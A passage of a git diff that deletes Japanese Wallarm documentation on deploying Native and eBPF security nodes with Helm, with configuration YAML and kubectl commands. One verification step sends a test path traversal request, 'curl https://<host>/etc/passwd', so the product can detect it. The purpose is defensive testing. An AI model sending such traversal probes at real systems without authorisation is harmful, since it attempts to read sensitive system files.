`https://hub.docker.com/r/wallarm` からデプロイに必要なDockerイメージをダウンロード - * US/EUのWallarm Cloud用に `https://us1.api.wallarm.com` または `https://api.wallarm.com` - * 攻撃検知ルールや[API仕様][api-spec-enforcement-docs]の更新ダウンロード、ならびに[許可リスト、拒否リスト、グレーリスト][ip-list-docs]に登録された国・地域・データセンターの正確なIP取得のために、以下のIPアドレス - - --8<-- "../include/wallarm-cloud-ips.md" -* `LoadBalancer`タイプでデプロイする場合、ドメインと信頼されたSSL/TLS証明書が必要です。 -* さらに、Wallarm Consoleで**Administrator**ロールが割り当てられている必要があります。 - -## 制限事項 - -* `LoadBalancer`タイプでWallarmサービスをデプロイする場合、Nodeインスタンスのドメインに対して**信頼された**SSL/TLS証明書が必要です。自己署名証明書はまだサポートされていません。 -* [カスタムブロックページとブロックコード](../../admin-en/configuration-guides/configure-block-page-and-code.md)の設定はまだサポートされていません。 -* Wallarmルールによる[レート制限](../../user-guides/rules/rate-limiting.md)はサポートしていません。 -* [マルチテナンシー](../multi-tenant/overview.md)はまだサポートしていません。 - -## デプロイ - -### 1. Wallarmトークンを準備する - -Nodeをインストールするには、Wallarm CloudにNodeを登録するためのトークンが必要です。トークンを準備するには: - -1. [US Cloud](https://us1.my.wallarm.com/settings/api-tokens)または[EU Cloud](https://my.wallarm.com/settings/api-tokens)のWallarm Console → **Settings** → **API tokens**を開きます。 -1. 使用タイプが`Node deployment/Deployment`のAPI tokenを見つけるか作成します。 -1. そのトークンをコピーします。 - -### 2. WallarmのHelmチャートリポジトリを追加する - -``` -helm repo add wallarm https://charts.wallarm.com -helm repo update wallarm -``` - -### 3. 設定ファイルを準備する - -=== "LoadBalancer (connector-server)" - パブリックIPを持つLoadBalancerとしてネイティブなWallarmノードをデプロイすると、MuleSoft、Cloudflare、Amazon CloudFront、Broadcom Layer7 API Gateway、FastlyからこのIPへトラフィックをルーティングし、セキュリティ分析とフィルタリングを実施できます。 - - 1. ロードバランサー用のドメインを登録します。 - 1. **信頼された**SSL/TLS証明書を取得します。 - 1. 以下の最小構成で`values.yaml`設定ファイルを作成します。証明書の適用方法として希望するタブを選択してください: - - === "cert-manager" - クラスター内で[`cert-manager`](https://cert-manager.io/)を使用している場合、これでSSL/TLS証明書を発行できます。 - - ```yaml - config: - connector: - mode: connector-server - certificate: - enabled: true - certManager: - enabled: true - issuerRef: - # cert-managerのIssuerまたはClusterIssuerの名前 - name: letsencrypt-prod - # Issuer（Namespaceスコープ）かClusterIssuer（クラスター全体）か - kind: ClusterIssuer - processing: - service: - type: LoadBalancer - ``` - === "existingSecret" - 同一Namespace内の既存のKubernetes SecretからSSL/TLS証明書を取り込めます。 - - ```yaml - config: - connector: - mode: connector-server - certificate: - enabled: true - existingSecret: - enabled: true - # 証明書と秘密鍵を含むKubernetes Secretの名前 - name: my-secret-name - processing: - service: - type: LoadBalancer - ``` - === "customSecret" - `customSecret`構成では、証明書をbase64エンコード値として直接定義できます。 - - ```yaml - config: - connector: - mode: connector-server - certificate: - enabled: true - customSecret: - enabled: true - ca: LS0... # Base64でエンコードされたCA - crt: LS0... # Base64でエンコードされた証明書 - key: LS0... # Base64でエンコードされた秘密鍵 - processing: - service: - type: LoadBalancer - ``` -=== "LoadBalancer (envoy-external-filter)" - パブリックIPを持つLoadBalancerとしてネイティブなWallarmノードをデプロイすると、MuleSoft、Cloudflare、Amazon CloudFront、Broadcom Layer7 API Gateway、FastlyからこのIPへトラフィックをルーティングし、セキュリティ分析とフィルタリングを実施できます。 - - 1. ロードバランサー用のドメインを登録します。 - 1. **信頼された**SSL/TLS証明書を取得します。 - 1. 以下の最小構成で`values.yaml`設定ファイルを作成します。証明書の適用方法として希望するタブを選択してください: - - === "cert-manager" - クラスター内で[`cert-manager`](https://cert-manager.io/)を使用している場合、これでSSL/TLS証明書を発行できます。 - - ```yaml - config: - connector: - mode: envoy-external-filter - certificate: - enabled: true - certManager: - enabled: true - issuerRef: - # cert-managerのIssuerまたはClusterIssuerの名前 - name: letsencrypt-prod - # Issuer（Namespaceスコープ）かClusterIssuer（クラスター全体）か - kind: ClusterIssuer - processing: - service: - type: LoadBalancer - ``` - === "existingSecret" - 同一Namespace内の既存のKubernetes SecretからSSL/TLS証明書を取り込めます。 - - ```yaml - config: - connector: - mode: envoy-external-filter - certificate: - enabled: true - existingSecret: - enabled: true - # 証明書と秘密鍵を含むKubernetes Secretの名前 - name: my-secret-name - processing: - service: - type: LoadBalancer - ``` - === "customSecret" - `customSecret`構成では、証明書をbase64エンコード値として直接定義できます。 - - ```yaml - config: - connector: - mode: envoy-external-filter - certificate: - enabled: true - customSecret: - enabled: true - ca: LS0... # Base64でエンコードされたCA - crt: LS0... # Base64でエンコードされた証明書 - key: LS0... # Base64でエンコードされた秘密鍵 - processing: - service: - type: LoadBalancer - ``` -=== "ClusterIP" - WallarmをKong API GatewayまたはIstioのコネクタとしてデプロイする場合、パブリックIPを公開せず、内部トラフィック向けにこのコネクタ用のNative NodeをClusterIPタイプでデプロイします。 - - 以下の最小構成で`values.yaml`設定ファイルを作成します。 - - ```yaml - processing: - service: - type: ClusterIP - ``` - -[すべての設定パラメータ](helm-chart-conf.md) - -### 4. Wallarmサービスをデプロイする - -=== "US Cloud" - ``` - helm upgrade --install --version 0.17.1 wallarm/wallarm-node-native -n wallarm-node --create-namespace --set config.api.token= --set config.api.host=us1.api.wallarm.com - ``` -=== "EU Cloud" - ``` - helm upgrade --install --version 0.17.1 wallarm/wallarm-node-native -n wallarm-node --create-namespace --set config.api.token= --set config.api.host=api.wallarm.com - ``` - -### 5. Wallarmロードバランサーを取得する - -`LoadBalancer`タイプでデプロイした場合: - -1. Wallarmロードバランサーの外部IPを取得します。 - - ``` - kubectl get svc -n wallarm-node - ``` - - `native-processing`サービスの外部IPを確認します。 -1. DNSプロバイダーでAレコードを作成し、ドメインを外部IPに向けます。 - - DNSが伝播したら、ドメイン名でサービスにアクセスできます。 - -### 6. API管理サービスへWallarmコードを適用する - -ノードをデプロイしたら、次のステップとして、トラフィックをデプロイ済みノードにルーティングするためにWallarmコードをAPI管理プラットフォームまたはサービスに適用します。 - -1. コネクタ向けのWallarmコードバンドルを入手するため、sales@wallarm.comに連絡してください。 -1. プラットフォーム固有の手順に従って、API管理プラットフォームにバンドルを適用します。 - - * [MuleSoft Mule Gateway](../connectors/mulesoft.md#2-obtain-and-upload-the-wallarm-policy-to-mulesoft-exchange) - * [MuleSoft Flex Gateway](../connectors/mulesoft-flex.md#2-obtain-and-upload-the-wallarm-policy-to-mulesoft-exchange) - * [Akamai](../connectors/akamai-edgeworkers.md#2-obtain-the-wallarm-code-bundle-and-create-edgeworkers) - * [Cloudflare](../connectors/cloudflare.md#2-obtain-and-deploy-the-wallarm-worker-code) - * [Amazon CloudFront](../connectors/aws-lambda.md#2-obtain-and-deploy-the-wallarm-lambdaedge-functions) - * [Broadcom Layer7 API Gateway](../connectors/layer7-api-gateway.md#2-add-the-nodes-ssltls-certificate-to-the-policy-manager) - * [Fastly](../connectors/fastly.md#2-deploy-wallarm-code-on-fastly) - * [IBM DataPower](../connectors/ibm-api-connect.md#2-obtain-and-apply-the-wallarm-policies-to-apis-in-ibm-api-connect) - * [Kong API Gateway](../connectors/kong-api-gateway.md#2-obtain-and-deploy-the-wallarm-lua-plugin) - * [Istio](../connectors/istio.md) - -## アップグレード - -Nodeをアップグレードするには、[手順](../../updating-migrating/native-node/helm-chart.md)に従ってください。 \ No newline at end of file diff --git a/docs/latest-ja/installation/nginx-native-node-internals.md b/docs/latest-ja/installation/nginx-native-node-internals.md deleted file mode 100644 index dc6f3afe00..0000000000 --- a/docs/latest-ja/installation/nginx-native-node-internals.md +++ /dev/null @@ -1,306 +0,0 @@ -# NGINXおよびNative自営型Wallarmノードの内部構造 - -WallarmノードはWallarmプラットフォームの中核コンポーネントで、トラフィックのフィルタリングと解析を担います。これはお客様の環境（自営型）またはWallarmのSecurity Edge上にデプロイできます。自営型ノードをデプロイする場合、選択肢はNGINXノードとNativeノードの2つです。 - -これら2つのノードはアーキテクチャが異なり、特定のデプロイユースケースに合わせて設計されています。 - -## NGINXノード - -NGINXノードはNGINXとシームレスに統合し、トラフィック管理にNGINXを既に利用しているインフラストラクチャに最適です。NGINXの機能を活用しつつ、Wallarmのセキュリティおよびトラフィックフィルタリング機能を追加します。 - -NGINXノードのデプロイには、以下の[アーティファクト](../updating-migrating/node-artifact-versions.md)を利用できます： - -* [All-in-oneインストーラー](nginx/all-in-one.md) -* [Dockerイメージ](../admin-en/installation-docker-en.md) -* [AWS AMI](packages/aws-ami.md) -* [GCP Machine Image](packages/gcp-machine-image.md) -* [NGINX Ingress Controller](../admin-en/installation-kubernetes-en.md)、[Sidecar Controller](kubernetes/sidecar-proxy/deployment.md)、[eBPF](kubernetes/ebpf/deployment.md)のデプロイ用Helmチャート - -以下のユースケースから該当するものを選び、適切な形態でNGINXノードをデプロイしてください。 - -### Kubernetes - -Kubernetes環境向けのNGINXノードのデプロイソリューションは次のとおりです。 - -
        -
        - - - -

        NGINX Ingress Controller

        -

        Wallarmサービスを統合したNGINX Ingress Controllerをデプロイします

        -         - - - -

        Sidecar

        -

        Podのセキュリティ向けにWallarm Sidecar Controllerをデプロイします

        -         - - - -

        eBPF

        -

        eBPFテクノロジーを使用したKubernetesでのアウトオブバンドデプロイ

        -         -
        -
        - -### コネクタ - -APIのデプロイには、Azion Edge、Akamai Edge、MuleSoft、Apigee、CloudFrontなどの外部ツールを利用するなど、さまざまな方法があります。これらのAPIをWallarmで保護する方法をお探しの場合は、このようなケース向けに設計された「[コネクタ](connectors/overview.md)」という形のソリューションをご提供しています。 - -NGINXノードは以下のプラットフォームで使用できますが、解析は受信リクエストに限定されます。 - -
        -
        - - - -

        Apigee

        -

        Apigee上で動作するAPIを保護します

        -         - - - -

        Akamai EdgeWorkers

        -

        Akamai EdgeWorkers上で動作するAPIを保護します

        -         - - - -

        Azion Edge

        -

        Azion Edge上で動作するAPIを保護します

        -         -
        -
        - -### インライン - -保護対象APIへのトラフィックは、APIに到達する前にWallarm NGINXノードのインスタンスを通過します。ノードがインラインであり、エンドユーザーにとって唯一の経路である限り、攻撃者がWallarmノードをバイパスする余地はありません。 [詳細はこちら](inline/overview.md) - -
        -
        - - - -

        All-in-oneインストーラー

        -

        Linux OSを搭載したマシン上でノードを実行します

        -         - -
        - -

        Amazon Web Services

        -

        AWSでのデプロイ用アーティファクト

        -
        - -
        - -

        Google Cloud

        -

        GCPでのデプロイ用アーティファクト

        -
        - -
        - -

        Microsoft Azure

        -

        Microsoft Azureでのデプロイ用アーティファクト

        -
        - -
        - -

        Alibaba Cloud

        -

        Alibaba Cloudでのデプロイ用アーティファクト

        -
        - - - -

        Heroku

        -

        WallarmのDockerイメージをビルドし、Herokuで実行します

        -         - - - -

        Dockerイメージ

        -

        コンテナ化された環境でノードを実行します

        -         -
        - -
        -
        - -

        Amazon Web Services

        -

        AWSでのデプロイ用アーティファクト

        -
        - - -

        AMI

        -

        公式のAmazon Machine Imageを使用してWallarmをデプロイします

        -         - - -

        ECS

        -

        Dockerイメージを使用してElastic Container ServiceでWallarmをデプロイします

        -         - -
        -

        Terraformモジュール

        -

        インラインのWallarmデプロイにTerraformモジュールを使用します

        -
        -
        - -
        -
        - -

        Terraformモジュール

        -

        AWSでのインラインWallarmデプロイにTerraformモジュールを使用します

        -
        - - -

        AWS VPC内のプロキシ

        -

        AWS Virtual Private CloudにおいてWallarmをプロキシとして利用します

        -         - - -

        Amazon API Gateway向けプロキシ

        -

        Amazon API Gatewayの保護用プロキシとしてWallarmを利用します

        -         - -
        - -
        -
        - -

        Google Cloud

        -

        GCPでのデプロイ用アーティファクト

        -
        - - -

        Machine Image

        -

        公式のGoogle Cloud Machine Imageを使用してWallarmをデプロイします

        -         - - -

        GCE

        -

        Dockerイメージを使用してGoogle Compute EngineでWallarmをデプロイします

        -         -
        - -
        -
        - -

        Microsoft Azure

        -

        Microsoft Azureでのデプロイ用アーティファクト

        -
        - - -

        Azure Container Instances

        -

        Dockerイメージを使用してAzure Container InstancesでWallarmをデプロイします

        -         -
        - -
        -
        - -

        Alibaba Cloud

        -

        Alibaba Cloudでのデプロイ用アーティファクト

        -
        - - -

        ECS

        -

        Dockerイメージを使用してElastic Compute ServiceでWallarmをデプロイします

        -         -
        - -
        - -## Nativeノード - -NativeノードはNGINXに依存しません。NGINXが不要な環境、またはより軽量でプラットフォーム非依存のソリューションが好まれる環境向けに開発されました。 - -Nativeノードのデプロイには、以下の[アーティファクト](../updating-migrating/native-node/node-artifact-versions.md)を利用できます： - -* [All-in-oneインストーラー](native-node/all-in-one.md) -* [Dockerイメージ](native-node/docker-image.md) -* [AWS AMI](native-node/aws-ami.md) -* [Helmチャート](native-node/helm-chart.md) - -以下のユースケースから該当するものを選び、適切な形態でNativeノードをデプロイしてください。 - -### コネクタ - -APIのデプロイには、Azion Edge、Akamai Edge、MuleSoft、Apigee、CloudFrontなどの外部ツールを利用するなど、さまざまな方法があります。これらのAPIをWallarmで保護する方法をお探しの場合は、このようなケース向けに設計された「[コネクタ](connectors/overview.md)」という形のソリューションをご提供しています。 - -Nativeノードは以下のプラットフォームで制限なく動作します。 - -
        -
        - - -

        MuleSoft Mule Gateway

        -

        Mule Gatewayで管理されるAPIを保護するためにWallarmをデプロイします

        -         - - - -

        MuleSoft Flex Gateway

        -

        Flex Gatewayで管理されるAPIを保護するためにWallarmをデプロイします

        -         - - - -

        CloudFront

        -

        Amazon CloudFront経由で配信されるトラフィックを保護するためにWallarmをデプロイします

        -         - - - -

        Cloudflare

        -

        Cloudflare経由のトラフィックを保護するためにWallarmをデプロイします

        -         - - - -

        Kong API Gateway

        -

        Kong Ingress Controllerで管理されるAPIを保護するためにWallarmをデプロイします

        -         - - - -

        Istio

        -

        Istioで管理されるAPIを保護するために、インラインまたはアウトオブバンド（OOB）でWallarmをデプロイします

        -         - - - -

        Broadcom Layer7 API Gateways

        -

        Layer7 API Gatewaysで管理されるAPIを保護します

        -         - - - -

        Fastly

        -

        Fastly上で動作するAPIを保護するためにWallarmをデプロイします

        -         - - - -

        IBM API Connect

        -

        IBM API Connectで管理されるAPIを保護するためにWallarmをデプロイします

        -         -
        -
        - -### アウトオブバンド - -
        -
        - - -

        TCPトラフィックミラー解析

        -

        TCPトラフィックのミラー解析のためのアウトオブバンドデプロイ

        -         -
        -
        - - - - \ No newline at end of file diff --git a/docs/latest-ja/installation/oob/ebpf/deployment.md b/docs/latest-ja/installation/oob/ebpf/deployment.md deleted file mode 100644 index fa2625c3cc..0000000000 --- a/docs/latest-ja/installation/oob/ebpf/deployment.md +++ /dev/null @@ -1,205 +0,0 @@ -[deployment-platform-docs]: ../../supported-deployment-options.md - -# WallarmのeBPFベースソリューション（ベータ版） - -Wallarmは、Linuxカーネルの機能を活用し、Kubernetes環境とシームレスに統合するeBPFベースのセキュリティソリューションのベータ版を提供しています。本記事では、Helmチャートを使用して本ソリューションを利用・デプロイする方法を説明します。 - -!!! warning "バージョン4.10に限定" - WallarmのeBPFベースソリューションは現在、[Wallarm Node 4.10](/4.10/installation/oob/ebpf/deployment/)で利用可能な機能のみをサポートします。 - -## トラフィックフロー - -WallarmのeBPFベースソリューションにおけるトラフィックフロー： - -![eBPFのトラフィックフロー](../../../images/waf-installation/epbf/ebpf-traffic-flow.png) - -本eBPFソリューションは、次のプロトコルでのトラフィック監視に対応しています。 - -* HTTP/1.xまたはHTTP/2 -* Proxy v1またはProxy v2 - -トラフィックはTLS/SSL暗号化またはプレーンテキストでのデータ転送を利用できます。SSLトラフィックの解析は、共有OpenSSLライブラリ（例：NGINX、HAProxy）を使用するサーバーに限定され、Envoyのような別のSSL実装を採用するサーバーでは利用できません。 - -## 動作概要 - -Linuxオペレーティングシステムはカーネルとユーザースペースで構成され、カーネルはハードウェアリソースと重要なタスクを管理し、アプリケーションはユーザースペースで動作します。この環境において、eBPF（Extended Berkeley Packet Filter）は、セキュリティに特化したものを含むカスタムプログラムをLinuxカーネル内で実行できるようにします。[eBPFの詳細はこちら](https://ebpf.io/what-is-ebpf/) - -Kubernetesはプロセス分離、リソース管理、ネットワーキングなどの重要なタスクにLinuxカーネルの機能を活用するため、eBPFベースのセキュリティソリューションを統合するのに適した環境を提供します。これに沿って、Wallarmはカーネルの機能を活用し、Kubernetesとシームレスに統合するeBPFベースのセキュリティソリューションを提供します。 - -本ソリューションは、トラフィックのミラーを生成してWallarmノードに転送するエージェントで構成されます。デプロイ時に、ミラーの対象範囲をNamespaceまたはPodレベルで指定できます。Wallarmノードはミラーされたトラフィックをセキュリティ脅威の観点から検査しますが、不正なアクティビティをブロックはしません。代わりに、検知したアクティビティをWallarm Cloudに記録し、Wallarm Console UIを通じてトラフィックのセキュリティ可視化を提供します。 - -次の図は本ソリューションのコンポーネントを示します。 - -![eBPFのコンポーネント](../../../images/waf-installation/epbf/ebpf-components.png) - -eBPFエージェントは、すべてのKubernetesワーカーノードにDaemonSetとしてデプロイされます。適切に機能させるため、エージェントコンテナは特権モードで実行し、必須のケーパビリティとして`SYS_PTRACE`と`SYS_ADMIN`を付与する必要があります。 - -さらに本ソリューションはレスポンスコードも処理し、Wallarmの中核モジュールである[API Discovery](../../../api-discovery/overview.md)がAPIエンドポイントを特定し、APIインベントリを構築して最新状態に保てるようにします。 - -## ユースケース - -サポートされている[Wallarmのデプロイオプション](../../supported-deployment-options.md)の中で、本ソリューションはアウトオブバンド運用に推奨されます。インラインで動作するのではなくトラフィックのミラーコピーを取得することで、eBPFベースのソリューションはトラフィックの流れを中断させません。この方式により、本番トラフィックへの影響を最小化し、レイテンシに影響する余分な遅延の発生を回避します。 - -## 技術要件 - -eBPFソリューションを正常にデプロイするために、以下の技術的前提条件を満たしていることを確認してください。 - -* サポート対象のKubernetesバージョン： - - * AWS - Kubernetes 1.24以上 - * Azure - Kubernetes 1.26以上 - * GCP - 任意のKubernetesバージョン - * ベアメタルサーバー - Kubernetes 1.22以上 -* エージェントがキャプチャしたトラフィックを安全にWallarmの処理ノードへミラーリングできるよう、[cert-manager](https://cert-manager.io/docs/installation/helm/)がインストールされていること。 -* [Helm v3](https://helm.sh/)パッケージマネージャー。 -* BTF（BPF Type Format）が有効なLinuxカーネル5.10または5.15。対象OSはUbuntu、Debian、RedHat、Google COS、Amazon Linux 2です。 -* x86_64アーキテクチャのプロセッサ。 -* 本ソリューションはベータ版のため、すべてのKubernetesリソースを効果的にミラーできるわけではありません。そのため、Kubernetes内のNGINX Ingressコントローラ、Kong Ingressコントローラ、または通常のNGINXサーバーに対してトラフィックミラーリングを有効化することを推奨します。 -* ご利用のユーザーアカウントはWallarm Consoleへの[**Administrator**アクセス](../../../user-guides/settings/users.md#user-roles)を持っている必要があります。 - -上記要件とユースケースが異なる場合は、環境に関する詳細な技術情報を添えて[セールスエンジニア](mailto:sales@wallarm.com)までご連絡ください。お客様の要件に合わせた調整の可能性を検討します。 - -## ネットワークアクセス - -送信トラフィックが制限された環境でも本ソリューションが正しく機能するよう、以下の外部リソースへのアクセスを許可するようにネットワークを設定してください。 - -* `https://charts.wallarm.com`でWallarmのHelmチャートを追加します。 -* Docker HubからWallarmのDockerイメージを取得するために`https://hub.docker.com/r/wallarm`。 -* USのWallarm Cloudをご利用の場合は`https://us1.api.wallarm.com`。EUのWallarm Cloudをご利用の場合は`https://api.wallarm.com`。 -* 攻撃検知ルールや[API仕様](../../../api-specification-enforcement/overview.md)の更新をダウンロードし、[許可リスト、拒否リスト、またはグレーリスト](../../../user-guides/ip-lists/overview.md)に登録した国、地域、またはデータセンターの正確なIPを取得するために、以下のIPアドレス。 - - --8<-- "../include/wallarm-cloud-ips.md" - -## デプロイ - -Wallarm eBPFソリューションをデプロイするには： - -1. Wallarmノードを作成します。 -1. WallarmのHelmチャートをデプロイします。 -1. トラフィックミラーリングを有効化します。 -1. Wallarm eBPFの動作をテストします。 - -### ステップ1：Wallarmノードを作成する - -1. 以下のリンクからWallarm Console → **Nodes**を開きます。 - - * https://us1.my.wallarm.com/nodes（USクラウド向け） - * https://my.wallarm.com/nodes（EUクラウド向け） -1. **Wallarm node**タイプのフィルタリングノードを作成し、生成されたトークンをコピーします。 - - ![!Wallarmノードの作成](../../../images/user-guides/nodes/create-wallarm-node-name-specified.png) - -### ステップ2：WallarmのHelmチャートをデプロイする - -1. 上記の要件を満たしており、[cert-manager](https://cert-manager.io/docs/installation/helm/)がインストールされていることを確認します。 -1. [Wallarmチャートリポジトリ](https://charts.wallarm.com/)を追加します： - ``` - helm repo add wallarm https://charts.wallarm.com - helm repo update wallarm - ``` -1. [Wallarm eBPFソリューションの構成](helm-chart-for-wallarm.md)に沿って`values.yaml`ファイルを作成します。 - - 最小構成の例： - - === "USクラウド" - ```yaml - config: - api: - token: "" - host: "us1.api.wallarm.com" - ``` - === "EUクラウド" - ```yaml - config: - api: - token: "" - ``` - - ``はKubernetesで稼働させるWallarmノードのトークンです。 - - --8<-- "../include/waf/installation/info-about-using-one-token-for-several-nodes.md" -1. WallarmのHelmチャートをデプロイします： - - ``` bash - helm install --version 0.10.28 wallarm/wallarm-oob --wait -n wallarm-ebpf --create-namespace -f - ``` - - * ``はWallarm eBPFチャートのHelmリリース名です - * `wallarm-ebpf`はWallarm eBPFチャートのHelmリリースをデプロイする新しいNamespaceであり、別のNamespaceにデプロイすることを推奨します - * ``は`values.yaml`ファイルへのパスです - -### ステップ3：トラフィックミラーリングを有効化する - -NGINX Ingressコントローラ、Kong Ingressコントローラ、または通常のNGINXサーバーでWallarmのeBPFベースソリューションを効果的に活用するため、トラフィックミラーリングを有効化することを推奨します。 - -デフォルトでは、デプロイ済みのソリューションはトラフィックを解析しません。トラフィック解析を有効にするには、以下のいずれかのレベルでトラフィックミラーリングを有効化する必要があります。 - -* Namespace単位 -* Pod単位 -* ノード名またはコンテナ単位 - -トラフィックミラーリングの有効化方法は2つあります。NamespaceラベルやPodアノテーションとして動的フィルタを使用する方法、または`values.yaml`ファイルの`config.agent.mirror.filters`ブロックで制御する方法です。これらを併用することもできます。[詳細](selecting-packets.md) - -#### ラベルを用いたNamespace単位 - -Namespaceに対してミラーリングを有効化するには、Namespaceラベル`wallarm-mirror`を`enabled`に設定します： - -``` -kubectl label ns wallarm-mirror=enabled -``` - -#### アノテーションを用いたPod単位 - -Podに対してミラーリングを有効化するには、アノテーション`mirror.wallarm.com/enabled`を`true`に設定します： - -```bash -kubectl patch deployment -n -p '{"spec": {"template":{"metadata":{"annotations":{"mirror.wallarm.com/enabled":"true"}}}} }' -``` - -#### values.yamlを用いたNamespace、Pod、コンテナ、またはノード単位 - -よりきめ細かな制御が必要な場合は、Wallarm eBPFの`values.yaml`ファイル内にある`config.agent.mirror.filters`ブロックでミラーリングのレベルを指定できます。フィルタの設定方法や、WallarmのNamespaceラベルおよびPodアノテーションとの相互作用については[記事](selecting-packets.md)をご参照ください。 - -### ステップ4：Wallarm eBPFの動作をテストする - -Wallarm eBPFが正しく動作していることを確認するには： - -1. WallarmのPod詳細を取得し、正常に起動していることを確認します： - - ```bash - kubectl get pods -n -l app.kubernetes.io/name=wallarm-oob - ``` - - 各Podは、例えば次のように`READY: N/N`かつ`STATUS: Running`と表示されます： - - ``` - NAME READY STATUS RESTARTS AGE - wallarm-ebpf-wallarm-oob-agent-599xg 1/1 Running 0 7m16s - wallarm-ebpf-wallarm-oob-aggregation-f68959465-vchxb 4/4 Running 0 30m - wallarm-ebpf-wallarm-oob-processing-694fcf9b47-rknx9 4/4 Running 0 30m - ``` -1. アプリケーションに対してテスト用の[パストラバーサル](../../../attacks-vulns-list.md#path-traversal)攻撃を送信します。``を、対象にトラフィックを転送するロードバランサの実IPアドレスまたはDNS名に置き換えて実行してください： - - ```bash - curl https:///etc/passwd - ``` - - Wallarm eBPFソリューションはアウトオブバンド方式で動作するため、攻撃をブロックせず、検知のみを行います。 - - 攻撃が記録されたことを確認するには、Wallarm Console → Eventsに進みます： - - ![!インターフェイス上の攻撃](../../../images/waf-installation/epbf/ebpf-attack-in-ui.png) - -## 制限事項 - -* アウトオブバンド（OOB）で動作し、実際のフローとは独立してトラフィックを解析する方式のため、本ソリューションにはいくつかの内在的な制約があります。 - - * 悪意のあるリクエストを即時にブロックしません。Wallarmは攻撃を観測し、[Wallarm Consoleでの詳細](../../../user-guides/events/check-attack.md)を提供します。 - * 対象サーバーへの負荷を制限できないため、[レート制限](../../../user-guides/rules/rate-limiting.md)には対応していません。 - * [IPアドレスによるフィルタリング](../../../user-guides/ip-lists/overview.md)には対応していません。 -* サーバーのレスポンスボディはミラーされないため： - - * [パッシブ検出](../../../about-wallarm/detecting-vulnerabilities.md#passive-detection)に基づく脆弱性検出には対応していません。 - * APIエンドポイントの[API Discoveryにおけるレスポンス構造の表示](../../../api-discovery/exploring.md#endpoint-details)には対応していません。 - -* ベータ版であるため、すべてのKubernetesリソースを効果的にミラーできるわけではありません。そのため、Kubernetes内のNGINX Ingressコントローラ、Kong Ingressコントローラ、または通常のNGINXサーバーに対してトラフィックミラーリングを有効化することを推奨します。 \ No newline at end of file diff --git a/docs/latest-ja/installation/oob/ebpf/helm-chart-for-wallarm.md b/docs/latest-ja/installation/oob/ebpf/helm-chart-for-wallarm.md deleted file mode 100644 index a71fa1f831..0000000000 --- a/docs/latest-ja/installation/oob/ebpf/helm-chart-for-wallarm.md +++ /dev/null @@ -1,172 +0,0 @@ -# Wallarm eBPF HelmチャートのWallarm固有の値 - -本書では、eBPFソリューションの[デプロイ](deployment.md)またはアップグレード時に変更可能な、Wallarm固有のHelmチャート値について説明します。これらの値は、Wallarm eBPF Helmチャートのグローバル設定を制御します。 - -!!! warning "バージョン4.10に限定" - 現在、WallarmのeBPFベースのソリューションは[Wallarm Node 4.10](/4.10/installation/oob/ebpf/deployment/)で利用可能な機能のみをサポートします。 - -デフォルトの`values.yaml`のうち、変更が必要になる場合があるWallarm固有部分は次のとおりです。 - -```yaml -config: - api: - token: "" - host: api.wallarm.com - port: 443 - useSSL: true - mutualTLS: false - agent: - mirror: - allNamespaces: false - filters: [] - # - namespace: "default" - # - namespace: 'my-namespace' - # pod_labels: - # label_name1: 'label_value_1' - # label_name2: 'label_value_2,label_value_3' - # pod_annotations: - # annotation_name1: 'annotation_value_1' - # annotation_name2: 'annotation_value_2,annotation_value_4' - loadBalancerRealIPHeader: 'X-Real-IP' - loadBalancerTrustedCIDRs: [] - # - 10.0.0.0/8 - # - 192.168.0.0/16 - # - 172.16.0.0/12 - # - 127.0.0.0/8 - # - fd00::/8 - ... -processing: - ... - metrics: - enabled: false - ... - - affinity: {} - # podAntiAffinity: - # preferredDuringSchedulingIgnoredDuringExecution: - # - weight: 100 - # podAffinityTerm: - # labelSelector: - # matchExpressions: - # - key: component - # operator: In - # values: - # - mtls-router - # - key: app - # operator: In - # values: - # - mtls-router - # topologyKey: kubernetes.io/hostname - nodeSelector: - kubernetes.io/os: linux -``` - -## config.api.token - -USまたはEU CloudのWallarm Consoleで作成したWallarmノードトークンです（[US](https://us1.my.wallarm.com/nodes) / [EU](https://my.wallarm.com/nodes)）。Wallarm APIへのアクセスに必要です。 - -## config.api.host - -Wallarm APIのエンドポイントです。次のいずれかです。 - -* [USクラウド](../../../about-wallarm/overview.md#cloud)の場合は`us1.api.wallarm.com` -* [EUクラウド](../../../about-wallarm/overview.md#cloud)の場合は`api.wallarm.com`（デフォルト） - -## config.api.port - -Wallarm APIのエンドポイントポートです。デフォルトは`443`です。 - -## config.api.useSSL - -Wallarm APIへのアクセスにSSLを使用するかどうかを指定します。デフォルトは`true`です。 - -## config.mutualTLS - -mTLSを有効にし、[Wallarm処理ノード](deployment.md#how-it-works)がeBPFエージェントからのトラフィックのセキュリティを認証できるようにします。デフォルトは`false`（無効）です。 - -このパラメータはHelmチャートバージョン0.10.26以降でサポートされます。 - -## config.agent.mirror.allNamespaces - -すべてのNamespaceに対してトラフィックミラーリングを有効にします。デフォルト値は`false`です。 - -!!! warning "`true`への設定は推奨しません" - これを`true`に設定して有効化すると、データの重複やリソース使用量の増加を招く可能性があります。Namespaceラベル、Podアノテーション、または`values.yaml`の`config.agent.mirror.filters`を用いた[選択的ミラーリング](selecting-packets.md)を推奨します。 - -## config.agent.mirror.filters - -トラフィックミラーリングの対象範囲を制御します。`filters`パラメータの例は次のとおりです。 - -```yaml -... - agent: - mirror: - allNamespaces: false - filters: - - namespace: "default" - - namespace: 'my-namespace' - pod_labels: - label_name1: 'label_value_1' - label_name2: 'label_value_2,label_value_3' - pod_annotations: - annotation_name1: 'annotation_value_1' - annotation_name2: 'annotation_value_2,annotation_value_4' -``` - -[詳細](selecting-packets.md) - -## config.agent.loadBalancerRealIPHeader - -ロードバランサーが元のクライアントIPアドレスを伝達するために使用するヘッダー名を指定します。正しいヘッダー名については、ご利用のロードバランサーのドキュメントを参照してください。デフォルトは`X-Real-IP`です。 - -`loadBalancerRealIPHeader`と`loadBalancerTrustedCIDRs`パラメータにより、Kubernetesクラスター外部のL7ロードバランサー（例: AWS ALB）経由でトラフィックがルーティングされる場合でも、Wallarm eBPFが送信元IPを正確に特定できるようになります。 - -## config.agent.loadBalancerTrustedCIDRs - -信頼するL7ロードバランサーのCIDR範囲の許可リストを定義します。例: - -```yaml -config: - agent: - loadBalancerTrustedCIDRs: - - 10.10.0.0/24 - - 192.168.0.0/16 -``` - -Helmを使用してこれらの値を更新するには: - -``` -# リストに単一の項目を追加する場合: -helm upgrade --set 'config.agent.loadBalancerTrustedCIDRs[0]=10.10.0.0/24' - -# リストに複数の項目を追加する場合: -helm upgrade --set 'config.agent.loadBalancerTrustedCIDRs[0]=10.10.0.0/24,config.agent.loadBalancerTrustedCIDRs[1]=192.168.0.0/16' -``` - -## 